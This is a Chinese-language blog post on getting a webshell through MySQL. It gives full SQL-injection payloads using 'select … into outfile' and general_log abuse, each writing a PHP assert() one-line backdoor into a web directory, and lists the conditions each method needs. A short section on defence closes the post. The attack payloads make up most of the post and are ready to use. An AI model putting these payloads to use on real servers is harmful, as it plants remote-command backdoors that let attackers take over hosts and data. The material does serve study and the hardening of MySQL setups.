MySQL 拿 WebShell

两种常规方法利用 MySQL getshell 的方法:

select … into outfile
general_log

 

一、select … into outfile 介绍

 

利用需要满足以下条件:

对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv
姿势:

有 union
id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23
1
无 union
id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23
1

 


其中 fields terminated by 是用来指定列之间分隔符,如果查询结果为单列则不会插入分隔符,所以必须有多个列才能成功写入一句话

 

 

二、general_log 介绍

 

 

 

利用需要满足以下条件:

对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
需要能执行多行sql语句
姿势:

set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';

 



设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开

需要注意的是 secure_file_priv 是只读属性,如果试图使用 set global 修改会报如下 Error

Error Code: 1238. Variable 'secure_file_priv' is a read only

 

 

 

三、防御姿势

 

设置 secure_file_prive = null (不允许导入和导出)

防止暴露网站绝对路径
正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限

posted @ 2019-04-11 21:41  卿先生  阅读(4793)  评论(0编辑  收藏  举报